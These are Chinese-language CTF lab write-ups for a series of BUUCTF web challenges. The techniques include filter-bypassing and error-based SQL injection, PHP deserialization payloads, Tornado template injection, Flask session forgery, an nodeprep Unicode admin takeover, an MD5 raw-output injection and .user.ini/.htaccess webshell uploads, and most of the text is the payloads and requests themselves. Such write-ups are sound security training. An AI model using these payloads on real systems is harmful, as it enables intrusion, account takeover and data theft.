双写绕过

BUUCTF[极客大挑战 2019]BabySQL

image-20220322221119506

好像和前面的题目相似

image-20220322221144573

check.php?username=admin&password=1'

image-20220322221242546

单引号闭合

check.php?username=admin&password=1' or '1'='1

image-20220322221308635

查一下字段数

check.php?username=admin&password=1' union select 1,2,3,4 or '1'='1

image-20220322221357314

仔细看发现union select or都被过滤为空了,直接双写绕过

check.php?username=admin&password=1' uniounionn sselectelect 1,2,3,4 oorr '1'='1

image-20220322221500318

image-20220322221509782

check.php?username=admin&password=1' uniounionn sselectelect 1,2,3 oorr '1'='1

数据库

check.php?username=admin&password=1' uniounionn sselectelect 1,database(),'3

image-20220322221611334

查表

check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),'3

image-20220322221843933

字段名

check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql"),'3

image-20220322222311090

查数据

check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(username,passwoorrd) frfromom b4bsql),'3

image-20220322222413663

php反序列化绕过wakeup

BUUCTF[极客大挑战 2019]PHP

image-20220323155030184

网站扫不了就直接说www.zip是备份文件了

index.php发现反序列化

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){#反序列化时自动调用,需要绕过,可以通过更改对象个数来绕过
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {#如果password不等于100结束
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

一个简单的php反序列化

脚本

<?php

class Name{
private $username = 'admin';
private $password = '100';
}
$p = new Name();
$p = serialize($p);
echo $p."\n";#输出初始序列化对象
$p = str_replace('":2:','":3:',$p);
echo $p."\n";#输出将2 替换为3 后的序列化对象 绕过wakeup函数
$p = urlencode($p);
echo $p;#进行url编码防止因为%00不可打印字符在复制时丢失
?>
#O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
#O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
#O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

image-20220323161122640

无法复制%00

备份文件

BUUCTF[ACTF2020 新生赛]BackupFile

image-20220322222932177

一般做题都先扫目录,但是这个平台不让扫,自己一个个试试吧

下载下来源码

image-20220322223039067

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}


弱类型相等

http://4021fbd6-79aa-4cdb-9ac5-fed0e728d349.node4.buuoj.cn:81/?key=123

image-20220322223135967

tornado框架cookies机制

[护网杯 2018]easy_tornado

image-20220322223241869

三个文件

/flag.txt

image-20220322223306050

/welcome.txt

image-20220322223326654

/hints.txt

image-20220322223341562

注意连接

http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=81c8ea4cbb1c6a8f5af7138f48834607

先尝试改一下文件名

http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/error?msg=Error

image-20220322224045273

报错了

查一下render

这里可能是将要传入的filehash的值所以现在就需要知道cookies_secret的值

查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。

easytornado_1

cookie_secret保存在settings中

easytornado_2

发现self.application.settings有一个别名

easytornado_3

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings

这里需要获取cookie_secret那么就需要有模板注入的地方尝试一下发现在错误信息中有

http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/error?msg={{str}}

image-20220322224543729

获取一下cookie_secret

error?msg={{handler.settings}}

image-20220322224630240

image-20220322224823834

先得到文件名md5值

3bf9f6cf685a6dd8defadabfb41a03a1

拼起来

41c2f098-ff58-45c4-bc1e-98837748079b3bf9f6cf685a6dd8defadabfb41a03a1

再取合起来的md5值

image-20220322224938163

组合一下

http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=ae79dbd1ea73f1effd2a6b89a702cd2a

image-20220322225002463

科学计数法加越权

BUUCTF[极客大挑战 2019]BuyFlag

image-20220323162005637

打开是个广告

image-20220323162034373

需要好多钱,还需要注意必须是cuit的学生这里应该是个提示,应该跟普通用户不一样

源代码发现好东西

<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

这里注意他只说了post password需要加上money

image-20220323163301385

这里发送过去没有回显,仔细观察可以发现一个user非常可疑,一般0代表的是假,1代表的是真如果用来区分是不是cuit的studit使用的是0和1的话这里就需要改成1

image-20220323163528492

发现数字太长了,可以使用科学计数法

image-20220323163724320

flask框架的session越权

[HCTF 2018]admin

法一

image-20220323164820794

打开先点点,看看源码扫扫目录

image-20220323165345822

image-20220323165411956

image-20220323165424545

注册一个登进去看看,这里的名字有回显,但是注册这里是有验证码限制的,可以留有思路看看验证码有没有爆破的可能

image-20220323165853497

这里抓包发现有session看着像是jwt,但是实际上并不是

image-20220323165451096

image-20220323165543069

image-20220323165553701

image-20220323165630621

在这里发现了问题,这个改密码看看有没有可能有越权漏洞

image-20220323165645453

源码泄露了,不说了先去找源码

image-20220323165814103

发现是python写的,使用了flask框架

先查看路由

image-20220323171803001

发现加载了index.html页面

image-20220323171829854

发现关键信息,这里需要session 的name 为admin这里去查了一下flask的session文档

image-20220323175155866

接着查找一下关键词SECRET发现在config文件里面还有信息

image-20220323175304398

接着就是解码session对象了,找个工具来弄flash-session-cookie

抓到的本地session

.eJw9kE-PgjAQxb_KZs4c5I8XEw9uuhBMZgimLGkvBBVZWssmqEFq_O5bzMbDHGZe8t7vzQOq09BcfmB1HW6NB1V3hNUDPvawAlnGWiaksyS_y2RrKJBGqp0iiz4y9Imno-B6QvupkH9rMiIUPDbIvwLJ9DjfZIIBlqRIFb6wsSGFkeT5iCUuie3OQp07cpNxEQh1cAn5lJXFAg36Um07YdMQWXsXRjqveXfZZW6JFZNQ8RltOxFr1_D04HAZTtX1Vzf9uwKxfCn5jJ1GZHWESgQOPxS2tciKMeMOI8gtJg5M6Sjjm0W2Wb_sOlO3zdupKY5Y_it9bZwAY93XPXhwuzTD62_gL-D5B-mzbZs.YjrdGQ.4IaKpf7FQl0w374TS5D9c5WJ3is

用工具解码出来的

python flask_session_cookie_manager3.py decode -c ".eJw9kE-PgjAQxb_KZs4c5I8XEw9uuhBMZgimLGkvBBVZWssmqEFq_O5bzMbDHGZe8t7vzQOq09BcfmB1HW6NB1V3hNUDPvawAlnGWiaksyS_y2RrKJBGqp0iiz4y9Imno-B6QvupkH9rMiIUPDbIvwLJ9DjfZIIBlqRIFb6wsSGFkeT5iCUuie3OQp07cpNxEQh1cAn5lJXFAg36Um07YdMQWXsXRjqveXfZZW6JFZNQ8RltOxFr1_D04HAZTtX1Vzf9uwKxfCn5jJ1GZHWESgQOPxS2tciKMeMOI8gtJg5M6Sjjm0W2Wb_sOlO3zdupKY5Y_it9bZwAY93XPXhwuzTD62_gL-D5B-mzbZs.YjrdGQ.4IaKpf7FQl0w374TS5D9c5WJ3is"

b'{"_fresh":true,"_id":{" b":"ZWFkZGNkOGQxZGJmN2ZmZjRjNzM1MDM1NTIwYTkyMzBjMTVkNmY3YTFmMTE2ZDkwMTVkZGM2MWNjNjU1YzFmNjM4ZTQwMWM5NDRlYjliNjliOTY2Yjc2ZmQyOWU0MmM1ZjJiYzI3MDgxYmZkZGJiYzM1MWQzNDUyYjFlMzgyNDg="},"csrf_token":{" b":"NDQ5ZTZmZjI4Nzk4MjY2NzM3YzgzMDUwOTM5N2QzMGNjMjk4OTA0OA=="},"image":{" b":"eUdMWA=="},"name":"wanan","user_id":"10"}'

这里加密时发现回不去,所以换了一个脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

用法

python flask-session.py ".eJw9kD2PwjAMhv_KyXOHfsCCxMAptALJrorCVfGCer1SSJqeVEClQfz3Cww3eLCH5_H7PuBwHJrLCRbX4dYEcDj_wOIBH9-wAC5TwxmZPCvunG0txWxZ7zQ5jFBgRHIzKmkmdJ8a5ZchqxIlU4tyHbMw4-vGGcZYkia9j5RLLWmcsSxGLHFOYtcp3Z3JTy5VrHTtDcWUl_sQLUast2flNgmK9q4se9Zr9-6ycCT2k9Jph66dSLRLeAZQX4bj4fprmv4_gtf590yUl-lJxWnHoo5JdFo5E3rNjHXtWOAcxfruw51ysUpwtXzj-so2HjFWfdVDALdLM7zbgSiE5x9Iw2aG.Yjr3nQ.s-VmFPx-L1QnKdOw_bkbpDM3cSg"

{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'wanan', 'user_id': '10'}

改name成admin

{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'admin', 'user_id': '10'}

在换成原先的工具加密回去

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'admin', 'user_id': '10'}"
.eJw9kLGOwjAMhl_l5JmhLbAgMXAKqUCyq6L0qnhBUAo0aTipgGiDePcLDDd4sIfv8_8_YXvs6usZZrfuXo9g2xxg9oSvPcyAS2k5JZulec_p2lHCjs3GkMcYBcakVg-t7ID-26D6seT0WCvpUC0TFvbxvnGKCZZkyBSx9tKRwQmr_IElTklsWm3ahsJkSifaVMGQD1lZROgwZrNutF-NUZx67Tiw3ntwl7knUQzayBb9aSBxmsNrBNW1O25vv7a-_EcIuvCejbNSnnUiWxZVQqI12tsoaCZsKs8CpyiWfQh3zsRijIv5B3fZuTogdgfXXGAE92vdfdqBOILXH0eiZno.Yjr4HA.pCZ5mKt-VRQsEyg6MEslUI8GtL8

就这里这个-s “ckj123” 只能使用双引号使用单引号不行,为啥?

image-20220323183819320

法二

image-20220323184802990

image-20220323184834645

他们说这里的版本较低有漏洞nodeprep.prepare函数会将unicode字符ᴬ转换成A而A再次调用nodeprep.prepare函数会把A转换成a

注册用户ᴬᴰᴹᴵᴺ

经过nodeprep.prepare函数ᴬᴰᴹᴵᴺ变成了ADMIN

image-20220323185453028

这里显示的就是

image-20220323185540309

接着修改密码

ᴬᴰᴹᴵᴺ再次经过nodeprep.prepare函数就变成了admin,所以这里修改的密码是admin的密码

image-20220323185728617

接着更改密码,这里改完之后就是admin的密码了

image-20220323185801765

image-20220323185842047

sql的pas=MD5(pas,true)绕过

[BJDCTF2020]Easy MD5

md5(string,raw)     
参数 描述
string 必需。要计算的字符串。
raw
可选。
默认不写为FALSE。32位16进制的字符串
TRUE。16位原始二进制格式的字符串

这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。

上面的’ffifdyop‘字符串对应的16位原始二进制的字符串就是” ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c “ 。 ‘ \ ‘后面的3个字符连同’ \ ‘算一个字符,比如’ \xc9 ‘,所以上述一共16个。当然,像’ \xc9 ‘这种字符会显示乱码。

这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ‘ ‘字符。6f就是对应‘ o ’。

   然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'

   为什么password = ''or'6�]��!r,��b'的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)

   这里引用一篇文章,连接在下面,里面的原话“a string starting with a 1 is cast as an integer when used as a boolean.“

  在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1  ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

   当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

 所以到这里为止,就完成了sql注入。同时要注意的是,这种sql语句,在mysql里面是可以行得通的,但是在oracle数据库里面这样的语句是有语法错误的。

   所以回过头来为什么ffifdyop就是答案,因为ffifdyop的md5的原始二进制字符串里面有‘or’6这一部分的字符。那么进一步思考这个单引号是否是必要的,这两个单引号是为了与原有的语句的单引号配对。所以我们理解了这个sql注入的原理,那么就明白了我们需要怎样的字符串。

回到这个题目

image-20220325222249900

发现提示

image-20220325222311308

那么思路是一样的,没wp做个球?

image-20220325222351601

image-20220325222424966

image-20220325222430164

简单绕过下

image-20220325222614861

简单碰撞下

image-20220325222854628

%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

php伪协议

[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

其中的file_get_contents,是从文件中获取数据,那么本地肯定没有这句话,只能通过php伪协议传参.

下面的包含提示useless.php那么就读取一下,使用php:filter协议

http://81138c67-775f-4cb3-92d0-1e356e4b3630.node4.buuoj.cn:81/
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=php://filter/read=convert.base64-encode/resource=useless.php

image-20220325223848850

<?php

class Flag{ //flag.php
public $file = 'flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里就要包含一个 useless.php

加上password就好

http://81138c67-775f-4cb3-92d0-1e356e4b3630.node4.buuoj.cn:81/
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20220325224827943

.user.ini

php.ini是php默认的配置文件.其中包含了很多php配置,这些配置中,有分为几种”PHP_INI_SYSTEM PHP_INI_PERDIR PHP_INI_ALL PHP_INI_USER

image-20220326155032466

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置 注册表中设置,再就是.user.ini中设置.这里就包含.user.ini,那么这个是什么配置文件.

除了主php.ini之外,php会在每个目录下扫描INI文件,从被执行的php文件所在的目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定的).如果被执行的php文件在web根目录之外,则只扫描该目录.在.user.ini风格的INI文件中只有具有PHP_INI_PERDR和PHP_INI_USER模式的INI设置可被识别.

这里就很清楚了,.user.ini实际上就是一个可以有用户”自定义”的php.ini,我们能够自定义的设置模式为”PHP_INI_PERDIR PHP_INI_USER”的设置(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置 处理PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来进行设置的

而且,和php.ini不同的是,.user.ini是一个能别动态加载的ini文件,也就是说我修改了/user.ini后不需要重启服务器中间件,值需要等待user_ini.cache_ttl所设置的时间(默认300秒),即可被重新加载

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

image-20220326160426594

auto_append_file、auto_prepend_file,点开看看什么意思:

image-20220326160436702

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数.而auto_append_file类似,只是在文件后面包含.使用方法很简单,直接写在.user.ini中

auto_prepend_file=1.gif

1.gif是要包含的文件.所以我们可以借助.user.ini轻松让所有php文件都自动包含某个文件,而这个文件可以是一个正常的php文件,也可以是一个包含一句话的webshell

那么我们这里构造一个.user.ini文件上传上去

image-20220326161514074

image-20220326161520682

发现检测了文件类型

image-20220326163908902

image-20220326173823017

上传了一个.user.ini文件

image-20220326174010401

接着上传一个图片马,记得开头做处理

这些都干完之后,记得等一会,因为.user.ini是有生效时间的

接着访问这个目录,下的index.php文件

image-20220326174147681

image-20220326174853318

image-20220326174913337

image-20220326174940127

过滤空格和=的报错注入

[极客大挑战 2019]HardSQL

image-20220326184518718

尝试闭合方式

check.php?username=admin'&password=1	 the right syntax to use near '1'' at line 1
check.php?username=admin"&password=1 正常
check.php?username=admin&password=1' the right syntax to use near ''1''' at line 1
check.php?username=admin&password=1" 正常

image-20220326184734549

说明单引号闭合,无括号

username=admin&password=admin' or '1'='1

image-20220326191845614

这里有过滤,经过测试过滤了=和空格

爆库
username=admin&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

image-20220326192440565

爆表
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23 //数据库名字

image-20220326192503340

爆字段名
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23 //数据库名

image-20220326192527286

爆数据
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23 //改数据库名 表名 字段名

image-20220326192551276

显示不全使用left()和right()

username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

updatexml报错

爆数据库
username=admin&password=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

爆表名
username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

爆字段名
username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23

爆数据名
username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23 //改一下表名
显示不全的时候使用left() right()语句分别查询

username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%23

username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23

拼出来

flag{237c59f0-ce14-478d-bc50-13e977d7efd6}

.htaccess文件上传

[MRCTF2020]你传你🐎呢

image-20220326223116015

传个png文件

image-20220326223243466

上去了但是没用,必须解析,在上传一个.htaccess文件,去解析.png文件为.php

image-20220326223356690

image-20220326223418421

image-20220326223432254

简单md5与弱类型

[MRCTF2020]Ez_bypass

image-20220326223555429

<?php
include 'flag.php';
$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
$id = $_GET['id'];
$gg = $_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if (isset($_POST['passwd'])) {
$passwd = $_POST['passwd'];
if (!is_numeric($passwd)) {
if ($passwd == 1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
} else {
echo 'You can not get it !';
}

} else {
die('only one way to get the flag');
}
} else {
echo "You are not a real hacker!";
}
} else {
die('Please input first');
}

php的md5无法解析数组,传两个数组?gg[]=1&id[]=2

弱类型相等passwd=1234567q

image-20220326224245900

php反序列化

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

反序列化private属性绕过

image-20220327222441531

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {#当对象被创建时,会触发进行初始化
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();#调用process方法
}

public function process() {
if($this->op == "1") {#如果op等于1就调用写方法
$this->write();
} else if($this->op == "2") {#如果op等于2就调用读方法,并调用output方法
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");#如果都不等就调用output方法
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {#如果设置了filename和content
if(strlen((string)$this->content) > 100) {#如果这个对象的content大于100就输出太长然后结束
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);##如果没超过100就将content写入到filename中
if($res) $this->output("Successful!");#如果写成功了就输出successful
else $this->output("Failed!");#没成功就输出失败
} else {
$this->output("Failed!");#没设置文件名就失败
}
}

private function read() {
$res = "";
if(isset($this->filename)) {#如果设置了文件名,就输出这个文件的内容
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {#当对象被销毁时触发
if($this->op === "2")#如果op强等于2
$this->op = "1";#输出op=1
$this->content = "";#把content变为空
$this->process();#调用process方法
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)#总共
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))#如果ascii码不在32到125之间就返回假
return false;
return true;
}

if(isset($_GET{'str'})) {#如果设置了str参数

$str = (string)$_GET['str'];#就将str转换成string类型
if(is_valid($str)) {#然后调用自建is_valid函数去判断是否合法
$obj = unserialize($str);#对str进行反序列化
}

}

需要绕过

is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化之后会出现不可见字符\x00*\x00,转化为ascii码不符合要求.还有__destruct()魔术方法中,op===”2”和process()中op==”2”

绕过方法

1.绕过is_valid()函数

  • PHP7.1以上的版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
  • private属性在序列化的时候会引入两个\00,注意这两个\00,注意这两个\00就是ascii码为0的字符.这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看的很清楚.同理,protected属性会引入\00*\00.此时,为了更加方便进行反序列化payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

2.绕过=

__destruct()魔术方法中,op===”2”是强比较,而process()使用的是弱比较op==”2”,可以通过弱类型绕过

绕过方法:op=2,这里的2是整数int类型,op=2时,op===”2”为false,op==”2”为true

法一

public属性绕过

<?php

class FileHandler {

public $op=2;
public $filename="flag.php";

}

$FileHandler1 = new FileHandler();
$str = serialize($FileHandler1);
echo $str;
#O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

法二

\x00绕过

<?php

class FileHandler {

public $op=2;
public $filename="flag.php";

}

$FileHandler1 = new FileHandler();
$str =serialize($FileHandler1);
echo $str;
#O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
//这个时候先生成序列化的值,然后再做一些小处理
//我们都知道私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错
//这个时候我们需要将s改为S,并添加\00*\00总共三个字符要改一下字符数量
#O:11:"FileHandler":2:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";}

sql联合查询与pw的md5

[GXYCTF2019]BabySQli

image-20220326224613655

登录框

image-20220326224627922

image-20220326224636346

源码有字符

居然是base32,下次不知道就挨个试

image-20220326224917775

下面明显base64

image-20220326224937765

得到查询语句

select * from user where username = '$name'

image-20220326225208169

仔细看是像search发起的请求

象征性测试一下闭合方式

name=1&pw=1		正常
name=1'&pw=1 报错
name=1"&pw=1 正常

单引号闭合

查询字段数

name=1'order by 4%23&pw=1

image-20220326225519530

有过滤,发现过滤了or,单是大小写不敏感,大小写绕过

name=1'Order by 4%23&pw=1

image-20220326225614482

name=1'Order by 3%23&pw=1

image-20220326225627306

这个是错误用户

name=admin'Union Select 1,2,1%23&pw=111

image-20220401192628007

这个是错误密码,说明这里的username和password是分开查的,也就是先查询是否有这个用户,在拿密码和这个密码比较 ,那么我们可以尝试一下直接登录

image-20220401194305357

如果前面的不存在的就会只显示联合查询后面的结果

name=1admin' Union Select 1,'admin',1%23&pw=1

image-20220401194455336

也就是这样的,那么如果没问题的话就可以直接登录了

image-20220401194534417

很明显,这里的密码不对,那么可能是什么原因呢,可能是md5加密了密码值,加密的肯定是查询出来的哦,所以我们的就试一下

1->c4ca4238a0b923820dcc509a6f75849b
